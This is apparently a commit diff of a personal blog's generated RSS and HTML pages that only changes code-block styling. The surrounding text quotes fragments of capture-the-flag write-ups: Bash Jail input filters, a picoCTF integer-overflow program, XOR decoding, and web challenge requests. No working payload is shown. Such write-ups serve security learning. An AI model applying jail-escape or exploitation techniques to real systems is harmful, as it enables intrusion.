</span></span></code></pre></div><h3 id=without-super-user-privileges>Without super user privileges</h3><h4 id=mounting-1>Mounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl loop-setup --file stash.img
</span></span></code></pre></div><p>This returns the path to a loop device, for example, <code>/dev/loop0</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl unlock --block-device /dev/loop0
</span></span></code></pre></div><p>Enter the passphrase previously used for formatting the image. The drive should be accessible via a graphical file manager.</p><h4 id=unmounting-1>Unmounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl lock --block-device /dev/loop0
</span></span><span style=display:flex><span>udisksctl loop-delete --block-device /dev/loop0
</span></span></code></pre></div></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<a href=https://lavafroth.is-a.dev/tags/luks class=list-tag>LUKS</a>

File diff suppressed because one or more lines are too long

View File

@@ -6,12 +6,12 @@ the last branch which returns instead of calling the decryption subroutine.&lt;/
&lt;p&gt;I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…&lt;/p&gt;
&lt;h1 id="exploration"&gt;Exploration&lt;/h1&gt;
&lt;p&gt;We begin by creating a new rust project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add hex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add itertools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s decode the hexadecimal contents of the file using the following Rust code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hex::decode(&lt;span style="color:#e6db74"&gt;&amp;#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; String::from_utf8_lossy(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;println!&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{:?}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;, stream);
@@ -26,7 +26,7 @@ reference meant.&lt;/p&gt;
&lt;p&gt;In the list of functions under the Symbol Tree, we can navigate to the &lt;code&gt;entry&lt;/code&gt; function which looks like:&lt;/p&gt;</description></item><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs

View File

@@ -7,7 +7,7 @@ start this year off by going back to the roots.&lt;/p&gt;
the secrets of the multiverse is in a universe where keyboards only have numbers
and (most) symbols.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -32,7 +32,7 @@ and (most) symbols.&lt;/p&gt;</description></item><item><title>Bash Jail 3</titl
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -59,7 +59,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input

View File

@@ -6,7 +6,7 @@ I must warn you, I was unable to finish all the challenges due to other life eve
&lt;p&gt;This is a sanity check question to kick the tires. The answer to it simply is
&lt;code&gt;answer&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Twosum</title><link>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</link><pubDate>Mon, 10 Apr 2023 08:44:28 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</guid><description>&lt;p&gt;This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
@@ -66,5 +66,5 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -11,5 +11,5 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -11,5 +11,5 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Cookies on lavafroth</title><link>https://lavafroth.is-a.dev/tags/cookies/</link><description>Recent content in Cookies on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Wed, 19 Jul 2023 07:53:17 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/tags/cookies/index.xml" rel="self" type="application/rss+xml"/><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs

View File

@@ -5,7 +5,7 @@ without having to completely format the drive anew.&lt;/p&gt;
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;
&lt;h2 id="creating-the-image-base"&gt;Creating the image base&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-image"&gt;Format the image&lt;/h2&gt;
&lt;p&gt;The image can be formatted by either including the header in the image itself or
keeping a detached header.&lt;/p&gt;</description></item><item><title>Kringlecon 2023 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/</link><pubDate>Wed, 10 Jan 2024 19:51:32 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/</guid><description>&lt;p&gt;Happy new year everyone! As every year, I&amp;rsquo;ll begin this one with sharing my writeup for the 2023 Holiday Hack Challenge for Kringlecon.
@@ -18,12 +18,12 @@ I must warn you, I was unable to finish all the challenges due to other life eve
&lt;p&gt;I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…&lt;/p&gt;
&lt;h1 id="exploration"&gt;Exploration&lt;/h1&gt;
&lt;p&gt;We begin by creating a new rust project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add hex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add itertools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s decode the hexadecimal contents of the file using the following Rust code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hex::decode(&lt;span style="color:#e6db74"&gt;&amp;#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; String::from_utf8_lossy(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;println!&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{:?}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;, stream);
@@ -36,7 +36,7 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>Pixelated</title><link>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</link><pubDate>Tue, 22 Nov 2022 09:25:20 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</guid><description>&lt;p&gt;This challenge gives use two images and asks us if we can make a flag out of them.
At first glance, both the images look like noise. Upon a quick web lookup of
